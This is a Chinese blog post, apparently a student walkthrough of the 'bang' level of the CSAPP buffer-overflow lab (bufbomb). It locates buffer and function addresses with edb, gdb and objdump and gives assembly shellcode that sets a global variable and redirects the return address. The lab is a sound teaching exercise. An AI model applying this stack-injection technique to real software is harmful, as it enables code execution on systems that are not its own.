CSAPP:bang

要修改global_val这个全局变量,应该通过一段程序来修改。将程序从buf的起始地址处开始,可以先将返回地址设为buf的起始地址,首先找到buf的起始地址0x55682f78设为第45-48个字节。然后开始运行自己写的程序,

找buf的起始地址可以通过edb来查找

cd ~/edb-debugger/build/
./edb --run ~/hitcs/320y/bufbomb -u xxx

执行到get函数处
在这里插入图片描述
发现把参数eax传给了gets函数,查看eax的地址0x55682f78即为buf起始地址。
在这里插入图片描述
用gdb查看global_value的地址。
在这里插入图片描述
bang的地址查看方法:

objdump -d bufbomb > asm.txt
gedit asm.txt

Ctrl+F搜索bang,就找到了bang的地址:0x08048c39

push %ebp
mov %esp,%ebp
mov $0x3d1ca510, %eax
mov %eax, 0x804e160;	把cookie赋值给 global_value 0x804e160是global_value的地址
mov $0x08048c39, %eax 
mov %eax,0x4(%ebp); 	%ebp(栈底指针)后面存的就是返回地址,我们将其改为bang的地址
leave
ret

我们模仿重新调用一个程序,这样%ebp的值不会改变,0x4(%ebp)即为返回地址,我们将其改为address的地址。同时修改全局变量的值,将cookie赋值给全局变量,然后 leave,ret调用bang函数。
然后把汇编转成二进制。

gcc -m32 -c asm.s
objdunp -d asm.o > asm.txt	
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值